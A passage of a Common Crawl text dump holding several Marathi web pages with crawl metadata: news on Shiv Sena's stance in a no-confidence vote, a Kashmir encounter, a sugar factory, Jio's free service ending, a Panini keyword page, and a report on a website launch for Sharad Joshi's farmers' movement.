आला. शिवसेनेचे प्रतोद आणि खासदार चंद्रकांत खैरे यांनी बुधवारी व्हिप काढून सर्व खासदारांना लोकसभेत उपस्थित राहण्याचा आणि सरकारच्या बाजूनं मतदान करण्याचा व्हिप काढला. तो माध्यमांमध्ये प्रसिद्धही झाला. मात्र नंतर तो व्हिप आम्ही काढलाच नाही, उद्धव ठाकरे वेळेवर निर्णय घेणार आहेत, तो आम्ही खासदारांना सांगितलं असं शिवसेनेचे नेते संजय राऊत यांनी सांगितलं. तर अस व्हिप मी काढलाच नसून कुणीतरी खोडसाळपणे ते कृत्य केल्याचं चंद्रकांत खैरे यांनी स्पष्ट केलं.\nपंतप्रधानपदाची आब राखा, सुमित्रा महाजन यांची राहुल गांधींना समज\nराहुल गांधींनी नेमका कुणाला मारला डोळा\nतर अविश्वास ठरावाच्या दिवशी शुक्रवारी शिवसेना खासदार चर्चेत भागच घेणार नाहीत असं शिवसेनेनं सांगत तटस्थ राहण्याचा निर्णय घेतला. त्यामुळं धरलं तर चावते आणि सोडलं तर पळते अशी अवस्था शिवसेनेची झाली आहे. सरकारमध्ये राहून सत्तेचा लाभ घ्यायचा आणि सरकारवर टीकाही करायची अशी शिवसेनेची भूमिका आहे. नरेंद्र मोदी, देवेंद्र फडणवीस यांच्यावर शिवसेनेकडून सातत्याने प्रहार केले जाताहेत. आम्ही राजीनामे खिशात घेऊन फिरतो असं शिवसेनेचे मंत्री म्हणतात. देवेंद्र फडणवीस सरकारचा मृत्यू अटळ आहे फक्त त्याची तारिख आणि वेळ ठरायची आहे असं वक्तव्य संजय राऊत यांनी न्यूज18 लोकमतच्या एका कार्यक्रमातच केलं होतं. एवढा टोकाचा विरोध करूनही शिवसेना सत्तेतून बाहेर का पडत नाही असा प्रश्न सातत्याने विचारला जातोय.\nनरेंद्र मोदींवरच्या आरोपात तथ्य, शिवसेनेच्या अडसुळांनी दिला राहुल गांधींना पाठिंबा\nVIDEO : राहुल गांधींच्या 'जादू की झप्पी'ने मोदींना धक्का\nमध्यंतरी अमित शहा यांनी मातोश्रीवर जावून उद्धव ठाकरेंची भेट घेऊन चर्चा केली. त्यानंत दोनही पक्षांचे संबंध सुरळीत होतील असा कयास व्यक्त होत होता मात्र शिवसेनेनं टीकेची धार कमी कमी केलेली नाही. 2014 मध्ये सत्तेत आल्यानंतर भाजप दादागिरी करते शिवसेनेचं खच्चिकरण करण्याचा प्रयत्न करते असा शिवसेनेचा आरोप आहे. त्यामुळे 2019 च्या लोकसभेच्या निवडणूका भाजप-शिवसेना एकत्र लढणार की स्वबळावर हे पाहाणं औत्स्युक्याचं ठरणार आहे. शिवसेनेच्या भूमिकेत गोंधळ नसून तो आमच्या डावपेचांचा भाग आहे असा शिवसेना सासत्यानं दावा करत असते. मात्र या भूमिकेमुळं पक्षातला गोंधळ बाहेर आला हे निश्चित.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00184.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%85%E0%A4%A8%E0%A4%82%E0%A4%A4%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-%E0%A4%A6%E0%A4%B9%E0%A4%B6%E0%A4%A4%E0%A4%B5%E0%A4%BE%E0%A4%A6%E0%A5%8D%E0%A4%AF-2/", "date_download": "2018-09-25T16:32:52Z", "digest": "sha1:LJJKTY32PD4DSRHOTYHBCFGLCLRDTGWI", "length": 7448, "nlines": 143, "source_domain": "www.dainikprabhat.com", "title": "अनंतनागमध्ये दहशतवाद्याचा खात्मा | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nश्रीनगर – जम्मू-काश्‍मीरमधील अनंतनाग येथे पोलीस आणि दहशवादी यांच्यात झालेल्या चकमकीत एक दहशतवादाच्या खात्मा करण्यात भारतीय जवानांना यश आले आहे. तर या कारवाईत एक पोलीस कर्मचारी जखमी झाला आहे. या दहशतवाद्याची ओळख पटवण्यात आलेली नाही. जखमी पोलिसाला रूग्णालयात दाखल करण्यात आले आहे.\nअनंतनागमध्ये दहशतवाद्यांना शोधण्यासाठी शोध मोहिम राबवण्यात येते आहे. याप्रसंगी दहशतवाद्यांनी पोलीस चौकीवर हल्ला केला. या हल्ला चोख प्रत्युत्तर देण्यात आले. यात एक दहशतवादी ठार झाला असून एक पोलीस कर्मचारी जखमी झाला आहे. या कारवाईनंतर परिसरात नाकाबंदी करण्यात आली असून अन्य दहशतवाद्यांचा शोध सुरू आहे, अशी माहिती पोलीस अधिका-यांनी दिली.\nयापूर्वी 1 सप्टेंबरलाही बंदिपुरा सेक्‍टरमध्ये तीन दहशतवाद्यांना कंठस्नान घालण्यात आले होते. शनिवारी म्हणजेच 1 सप्टेंबरला झालेल्या कारवाईत पोलिसांनी दहशतवाद्यांकडे असलेली शस्त्रास्त्रे, दारूगोळा जप्त केला होता. किलो फोर्स या भारतीय जवानांच्या तुकडीचाही या कारवाईत समावेश होता. या कारवाईत दोन जवान जखमी झाले होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleभारीपच्या कार्यकर्त्यांना धमकीचे पत्र\nNext articleजरंडेश्‍वरच्या डिस्टिलरीचा ताबा लक्ष्मी ऑरगॅनिक कडेच\nमोदींनी विमानातून काढलेले ‘फोटो’ पाहिलेत का\nआधी शेतकऱ्यांचे प्रश्न सोडवा ; जपानने मोदींचा ड्रीम प्रोजेक्ट रोखला\nजम्मू काश्मीर – बारामुल्लामध्ये चकमक, दोन दहशतवादी ठार\nपंतप्रधान नरेंद्र मोदी यांना शांततेचा नोबेल मिळणार \nराहुल गांधी चोर असून त्यांचा संपूर्ण परिवार कमिशनवर जिवंत – रविशंकर प्रसाद\nभाजपच्या ‘कार्यकर्ता महाकुंभ’ला दिग्गज नेत्यांची हजेरी ; काँग्रेसवर हल्लाबोल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00185.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%97%E0%A4%B3%E0%A5%80%E0%A4%A4-%E0%A4%B9%E0%A4%82%E0%A4%97%E0%A4%BE%E0%A4%AE%E0%A4%BE%E0%A4%B8%E0%A4%BE%E0%A4%A0%E0%A5%80-%E0%A4%95%E0%A4%BF%E0%A4%B8%E0%A4%A8-%E0%A4%B5%E0%A5%80%E0%A4%B0/", "date_download": "2018-09-25T16:49:28Z", "digest": "sha1:EQDMIKCO3PKUJEE553PP2VMLJVTT5UPQ", "length": 7804, "nlines": 130, "source_domain": "www.dainikprabhat.com", "title": "गळीत हंगामासाठी “किसन वीर’ सज्ज | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nगळीत हंगामासाठी “किसन वीर’ सज्ज\nकिसनवीरनगर : मिल रोलर पुजनप्रसंगी अध्यक्ष मदनदादा भोसले, गजानन बाबर, चंद्रकांत इंगवले, नंदकुमार निकम, नवनाथ केंजळे, मधुकर शिंदे, अशोकराव जाधव, संचालक व शेतकरी.\nसांघिक प्रयत्नातून हंगाम यशस्वी करणारच : मदन भोसले\nभुईंज, दि. 23 (प्रतिनिधी) – अडचणींचे सर्व सावट बाजूला सारुन यंदाचा गळीत हंगाम यशस्वीपणे पार पाडला जाईल. त्यासाठीची सर्व तयारी अंतिम टप्प्यात आली आहे. सांघिक प्रयत्नांतून किसन वीरचा यंदाचा गळीत हंगाम यशस्वी करणारच, असा ठाम विश्‍वास कारखान्याचे अध्यक्ष मदन भोसले यांनी व्यक्‍त करुन किसन वीर गळीत हंगामासाठी सज्ज आहे, असे प्रतिपादन केले.\nभुईंज, ता. वाई येथील किसनवीर सातारा सहकारी साखर कारखान्याच्या मिल विभागातील रोलरचे पूजन कारखान्याचे उपाध्यक्ष माजी खासदार गजानन बाबर यांच्या हस्ते करण्यात आले. पूजनानंतर अध्यक्ष मदन भोसले यांच्या हस्ते कळ दाबून रोलर बसविण्यात आला. त्यावेळी ते बोलत होते. भोसले पुढे म्हणाले, किसन वीरसह प्रतापगड आणि खंडाळा कारखान्यासाठी आवश्‍यक ती तोडणी यंत्रणा उपलब्ध झाली आहे. कारखान्यातील सर्व यंत्रणेची कामे अंतिम टप्प्यात आहेत. या बळावरच कार्यक्षेत्रातील नोंद झालेल्या सर्व उसाचे गाळप केले जाणार असून शेतकरी, सभासद, कर्मचारी, वाहतूकदार यांनी त्यासाठी दिलेला प्रतिसाद आणि दाखवलेली तत्परता कौतुकास्पद आहे.\nमिल फिटर औदुंबर खलाटे, संतोष खांडे, जवाहर साळुंखे, राजकुमार नवले यांना यावेळी सन्मानित करण्यात आले. कार्यक्रमास कारखान्याचे संचालक चंद्रकांत इंगवले, नंदकुमार निकम, सचिन साळुंखे, नवनाथ केंजळे, राहुल घाडगे, प्रताप यादव-देशमुख, मधुकर शिंदे, सयाजी पिसाळ, यांच्यासह कारखान्याचे सभासद शेतकरी, कारखान्याचे अधिकारी, कर्मचारी उपस्थित होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article” स्वच्छंद’ मधून घडलं विंदांच्या समग्र साहित्याचे दर्शन\nNext articleनगरसेवकाने स्वखर्चाने पथदिवे बसवून साजरा केला आईचा वाढदिवस\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00185.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/548101", "date_download": "2018-09-25T17:16:15Z", "digest": "sha1:SJX7SLOWLG7W3B4FJGVGAUI7X6EPD3YZ", "length": 4844, "nlines": 41, "source_domain": "www.tarunbharat.com", "title": "31मार्चपासून जिओची फ्री सेवा बंद - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » माहिती / तंत्रज्ञान » 31मार्चपासून जिओची फ्री सेवा बंद\n31मार्चपासून जिओची फ्री सेवा बंद\nऑनलाईन टीम / मुंबई :\nरिलायन्स जिओ कंपनीने आपल्या ग्राहकांसाठी 4 जी इंटरनेटची मोफत सेवा पुरवली आहे. मात्र आता जिओ ग्राहकांना मोठा धक्का देणार आहे. नवनवे प्लॅन बाजारात आणत असतानाच दुसरीकडे मोफत सेवा वापरणाऱया नेटकऱयांची जिओने निराशा केली आहे. येत्या 31 मार्चपासून रिलायन्स जिओ आपली मोफत सेवा बंद करणार आहे.\nउद्योगपती मुकेश अंबानी यांनी 21 फेब्रुवारी 2017 ला 4 जी सेवा पुरवणारी जिओ प्राईम मेंबरशिप बाजारात आणली होती. या प्लॅन साठी मेंबरशिप घेण्याची 31 मार्च ही शेवटची तारीख होती. मात्र कंपनीने मेंबरशिप होण्यासाठी ही तारीख वाढवून 15 एप्रिल 2017 केली. यांची वैधता 1 वर्षासाठी होती. या मेंबरधारकांची ही सेवा आता 31 मार्च रोजी बंद होणार आहे. त्याचबरोबर फ्री ऍप्सदेखील बंद होणार आहे.\nमात्र नववर्षानिमित्त ग्राहकांसाठी जिओ ने हॅप्पी न्यू ईअर प्लॅनदेखील आणला आहे. या प्लॅनध्ये नेटकऱयांना दिवसा 1 जीबी डेटा असलेल्या प्लॅनच्या किंमतीत 50 ते 60 रूपयांनी कपात केली आहे.\nवनप्लसने भारतात लाँच केला जबरदस्त फोन\nरेडमीचा नवा स्मार्टफोन लाँच\nगुगलकडून क्रिकेटपटू दिलीप सरदेसाईंना मानवंदना\nPosted in: माहिती / तंत्रज्ञान\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00185.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%AA%E0%A4%BE%E0%A4%A3%E0%A4%BF%E0%A4%A8%E0%A5%80/word", "date_download": "2018-09-25T17:26:30Z", "digest": "sha1:3K5QYKAIU5XT3RNOVL56OYIDYKLRR7LZ", "length": 10258, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - पाणिनी", "raw_content": "\nआत्मा जेव्हा शरीर सोडतो तेव्हा त्याचा पुढचा प्रवास कसा असतो\nअष्टाध्यायी - अध्याय १\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे , जो ई . पू . ५००व्या शतकात रचला गेला .\nअध्याय १ - भाग १\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे , जो ई . पू . ५००व्या शतकात रचला गेला .\nअध्याय १ - भाग २\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय १ - भाग ३\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय १ - भाग ४\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअष्टाध्यायी - अध्याय २\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय २ - भाग १\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय २ - भाग २\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय २ - भाग ३\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय २ - भाग ४\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअष्टाध्यायी - अध्याय ३\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ३ - भाग १\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ३ - भाग २\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ३ - भाग ३\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ३ - भाग ४\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअष्टाध्यायी - अध्याय ४\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ४ - भाग १\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ४ - भाग २\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ४ - भाग ३\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nअध्याय ४ - भाग ४\nमहर्षि पाणिनी द्वारा रचित अष्टाध्यायी हा संस्कृत व्याकरणावरील एक अत्यंत प्राचीन ग्रंथ आहे, जो ई.पू. ५००व्या शतकात रचला गेला.\nनजर लागते किंवा दृष्ट लागते म्हणजे काय\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00185.warc.wet.gz", "language": "mr", "language_score": 0.76, "bucket": "all"} {"url": "https://www.maayboli.com/node/36659", "date_download": "2018-09-25T17:09:02Z", "digest": "sha1:6JRARHBKXRBYYYWYPAP7RJZZ763D5ECM", "length": 44786, "nlines": 247, "source_domain": "www.maayboli.com", "title": "'योद्धा शेतकरी' व 'वांगे अमर रहे’ प्रकाशन समारंभ : वृत्तांत | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /'योद्धा शेतकरी' व 'वांगे अमर रहे’ प्रकाशन समारंभ : वृत्तांत\n'योद्धा शेतकरी' व 'वांगे अमर रहे’ प्रकाशन समारंभ : वृत्तांत\n'योद्धा शेतकरी' व 'वांगे अमर रहे' विमोचन समारंभ\n'योद्धा शेतकरी' (www.sharadjoshi.in) या संकेतस्थळाचा विमोचन समारंभ आणि गंगाधर मुटे लिखित \"वांगे अमर रहे\" या पुस्तकाचा प्रकाशन समारंभ वर्धा येथील गुजराती भवनात दिनांक २२ जुलै २०१२ रोजी दुपारी १.०० वाजता संपन्न झाला. संकेतस्थळाचे उद्घाटन पी.टी.आय या वृत्तसंस्थेचे व नवभारत टाईम्सचे माजी अध्यक्ष मा. वेदप्रतापजी वैदीक यांचे हस्ते तर \"वांगे अमर रहे\" पुस्तकाचे प्रकाशन शेतकरी संघटनेचे प्रणेते मा. शरद जोशी यांचे हस्ते, लोकमत, नागपूरचे संपादक मा. सुरेश व्दादशीवार यांचे अध्यक्षतेखाली पार पडले.\nव्यासपिठावर शेतकरी संघटनेचे अध्यक्ष रवी देवांग, स्वभापचे अध्यक्ष, माजी आमदार अ‍ॅड वामनराव चटप, माजी आमदार आणि स्वभापच्या अध्यक्षा सौ. सरोज काशीकर, शेतकरी संघटनेच्या महिला आघाडी अध्यक्षा सौ. शैलजा देशपांडे, शेतकरी संघटनेचे जिल्हाध्यक्ष गंगाधर मुटे, स्वभापचे जिल्हाध्यक्ष मधुसूदन हरणे, अ‍ॅड दिनेश शर्मा, डॉ. मानवेंद्र काचोळे, अनिल घनवट, गुणवंत पाटील, राम नेवले, अंजली पातुरकर व अन्य पदाधिकारी हजर होते.\n**** वर्तमानपत्रातील वृत्त ****\nआजच्या भ्रष्टाचारास नेहरूंचा समाजवादच जबाबदार- जोशी\nम. टा. प्रतिनिधी , वर्धा\nभ्रष्टाचार हे दुधारी हत्यार आहे. एका लोकपाल विधायकाने हा भ्रष्टाचार एक टक्काही कमी होणार नाही. आजच्या भ्रष्टाचारास नेहरूंचा समाजवादच जबाबदार आहे. त्यांनी सुरू केलेले लायसन्स , परमिट राज हेच याचे मूळ आहे , अशी घणाघाती टीका शेतकरी संघटनेचे नेते शरद जोशी यांनी केले. शहरातील गुजराथी भवनात रविवारी आयोजित शेतकरी संघटनेच्या संकेतस्थळाचे उद्घाटनप्रसंगी ते बोलत होते.\nयावेळी मंचावर ज्येष्ठ पत्रकार वेदप्रकाश वेदिक , सुरेश द्वादशीवार , रवी देवांग आणि संकेतस्थळाचे निर्माते गंगाधर मुटे उपस्थित होते. यावेळी वेदप्रकाश वेदिक म्हणाले , आज देशातील दहा कोटी लोकांच्या मनात भ्रष्टाचाराविरोधात उठावाची लाट निर्माण झाली तर सत्तापरिवर्तन होऊ शकते. हे मतांनी नव्हे तर मनानी व्हायला पाहिजे. म्हणून लोकाच्या मनावर राज्य करण्याची लहर आली पाहिजे. आता ते दिवस आले आहेत. हे अलीकडील काही जनआंदोलनातून सिद्ध होते. या आंदोलनाच्या नेत्यांना मात्र राजकीय पक्ष काढून सत्तेत येण्याची घाई झालेली दिसते. नेमकी येथेच ही आंदोलने फसतात. जोशींनीही हा अनुभव घेतला आहे , असेही वेदिक म्हणाले. सुरेश द्वादशीवार म्हणाले , आंदोलनांना विचारांची शक्ती असेल तरच ती उभी होतात. पुढे जातात नाहीतर सोमवारी सुरू झालेले आंदोलन शुक्रवारी दिसत नाही. शरद जोशींच्या शेतकरी आंदोलनाला प्रचंड वैचारिक बळ असल्यानेच ते मोठ्या प्रमाणावर यशस्वी झाले.\nशेतकरी संघटनेची www.sharadjoshi.in अर्थात ' योद्धा शेतकरी ' या वेबसाईटचे उद्घाटन पाहुण्यांच्या हस्ते कळ दाबून करण्यात आले. याप्रसंगी कवी व वर्धा जिल्हा शेतकरी संघटनेचे अध्यक्ष गंगाधर मुटे यांच्या ' वांगे अमर रहे ' या पुस्तकाचे प्रकाशनही करण्यात आले. संचालन पांडुरंग भालशंकर यांनी केले.\nशेतीवर पोट असणार्‍यांनाच शेतकर्‍यांच्या वेदना कळतात - शरद जोशी\n दि. २२ (शहर प्रतिनिधी)\nभारताला कृषिप्रधान देश म्हणून ओळखल्या जाते. मात्र याच देशातील शेतकर्‍यांची दैनावस्था आहे. शेतकर्‍यांच्या हितासाठी लढण्याचा आव आणणारे अनेक नेते मंडळी आहे. पण ते अद्यापही शेतकर्‍यांना न्याय मिळवून देऊ शकले नाही. कारण त्यांना शेतकर्‍यांच्या समस्या कळल्याच नाही. ज्या नेत्याचे वा कार्यकर्त्यांचे पोट शेती व्यवसायावर असेल त्यांनाच शेतकर्‍यांच्या खर्‍या वेदना कळतात, असे प्रतिपादन शेतकरी संघटनेचे प्रणेते शरद जोशी यांनी केले.\nस्थानिक गुजराती भवन येथे शेतकरी संघटनेच्या वतीने योद्धा शेतकरी या संकेतस्थळाचे उद्घाटन करण्यात आले. यावेळी ते बोलत होते.\nया कार्यक्रमाला उद्घाटक म्हणून पि.टी.आय.चे माजी अध्यक्ष वेदप्रताप वैदीक तर अध्यक्षस्थानी लोकमतचे संपादक प्रा.सुरेश द्वादशीवार उपस्थित होते. या वेळी शेतकरी संघटनेचे अध्यक्ष रवी देवांग, स्वतंत्र भारत पक्षाचे अध्यक्ष वामन चटप, स्वतंत्र भारत पक्ष महिला आघाडीच्या अध्यक्षा सरोज काशीकर, शेतकरी संघटना महिला आघाडी अध्यक्षा शैलेजा देशपांडे, अंजना पाथुरकर, दिनेश शर्मा, शेतकरी संघटना जिल्हाध्यक्ष गंगाधर मुटे, स्वभाप जिल्हाध्यक्ष मधुसूदन हरणे आदी मंचावर उपस्थित होते. दीप प्रज्वलन करून या उद्घाटन कार्यक्रमाची सुरूवात करण्यात आली. कार्यक्रमाचे प्रास्ताविक सरोज काशीकर यांनी केले. जिल्हाध्यक्ष मुटे यांच्या प्रयत्नातून साकारलेल्या योद्धा शेतकरी संकेतस्थळाचे उद्घाटन पाहुण्यांच्या हस्ते करण्यात आले. तसेच मुटे लिखित वांगे अमर रहे या पुस्तकाचे प्रकाशनही करण्यात आले.\nसर्व कार्यकर्त्यांनी हे संकेतस्थळ चालविण्यासाठी मदत करावी, असे आवाहन यावेळी करण्यात आले. द्वादशीवार यांनी शरीराने थकलेल्या पण विचाराने अजूनही तरूण असलेल्या शेतकरी नेत्यांचे कार्य पुढे नेण्यासाठी शेतकर्‍यांनी व संघटनेच्या कार्यकर्त्यांनी जबाबदारी स्विकारावी असे सांगितले. येत्या ९ ऑगस्टला संघटनेचे कार्यकर्ते नव्या जोमाने शेतकर्‍यांच्या हक्काच्या लढाईसाठी मैदानात उतरणार असल्याची माहिती शेतकरी संघटनेचे अध्यक्ष रवी देवांग यांनी दिली. पटर्वधन यांच्या बासरी वादनातून वैष्णव जन तो या गिताने कार्यक्रमाची सांगता करण्यात आली. कार्यक्रमाला शेतकरी संघटनेचे कार्यकर्ते व शेतकरी उपस्थित होते.\nशेतकर्‍यांसाठी शरद जोशींनी उभारलेला लढा महत्त्वाचा\nपत्रकार वैदिक : ’योद्धा शेतकरी’ संकेतस्थळाचे उद्घाटन\nशेतकर्‍यांकरिता शरद जोशींनी उभा केलेला लढा महत्त्वाचा आहे. त्यांचे मौलिक विचार येणार्‍या काळातही दिशादर्शक ठरतील, असा विश्वास जेष्ठ पत्रकार वेदप्रताप वैदीक (दिल्ली) यांनी श्री. जोशी यांच्या समग्र जीवनकार्य़ावरील ’योद्धा शेतकरी’ संकेतस्थळाच्‍या येथील उद्घाटन कार्य़क्रमात व्यक्त केला.\nयेथील गुजरात भवनाच्या सभागृहात आज उद्घाटन समारंभ पार पडला. कार्य़क्रमाला शेतकरी संघट्नेचे सर्वेसर्वा शरद जोशी, जेष्ठ पत्रकार सुरेश व्दादशीवार, शेतकरी संघटनेचे अध्यक्ष रवी देवांग, स्वतंत्र भारत पक्षाचे अध्यक्ष वामनराव चटप, स्वभापच्या महिला आघाडीच्या अध्यक्षा सरोज काशीकर, शेतकरी संघटनेच्या महीला आघाडीच्य़ा अध्यक्ष शैलजा देशपांडे यांची प्रमुख उपस्थिती होती. या संकेतस्थळावर शेतकरी सघंटनेची विविध आंदोलने, छायाचित्र, त्यावरील वृत्तांत, शरद जोशींनी लिहीलेली १७ मराठी, तीन इंग्रजी आणि दोन हिंदी पुस्तके, राज्यसभेतील त्यांची भाषणे, जीवन परिचय आदींचा समावेश आहे\n. यावेळी संघटनेचे पदाधिकारी गंगाधर मुटे यांच्या \"वांगे अमर रहे\" या पुस्तकाचे मान्यवरांच्या हस्ते प्रकाशन करण्यात आले. या पुस्तकात श्री. मुटे यांनी मागील दोन वर्षात लिहिलेल्या वैचारिक लेख, कथा, ललीत लेखनाचे संकलन आहे.\nपुढे बोलताना श्री. वैदीक म्हणाले, ’योद्धा शेतकरी’ हे संकेतस्थळ आपण इंग्रजी आणि हिंदी मध्ये सुरू केले. त्यांचा क्रम आधी मराठी, हिंदी आणि इंग्रजी असा असायला हवा होता. सध्या देशात भ्रष्टाचाराच्या काहूर माजले आहे. भ्रष्टाचारावर लगाम लावण्याकरिता कठोर पावले उचलण्यात आली पाहिजे, अशी अपेक्षाही त्यांनी व्यक्त केली.\nयावेळी विविध मान्यवरांनी विचार व्यक्त केले. संचालन पांडुरंग भालशंकर यांनी केले. प्रास्तविक सरोज काशीकर यांनी केले. शैलजा देशपांडे यांनी आभार मानले. कार्यक्रमाला शेतकरी संघटनेच्या पदाधिकारी आणि कार्यकर्त्यांची मोठी उपस्थिती होती.\nशेतीवर पोट असलेले नेतेच शेतकर्‍यांसाठी लढतात\nवर्धा : भारताला कृषिप्रधान देश म्हणून ओळखले जाते मात्र याच देशातील शेतकर्‍याची दैनावस्था आहे. शेतकर्‍यांच्या हितासाठी लढण्याचा आव आणणारे अनेक नेते मंडळी आहे. पण ते अद्यापही शेतकर्‍यांना न्याय मिळवून देऊ शकले नाही. कारण 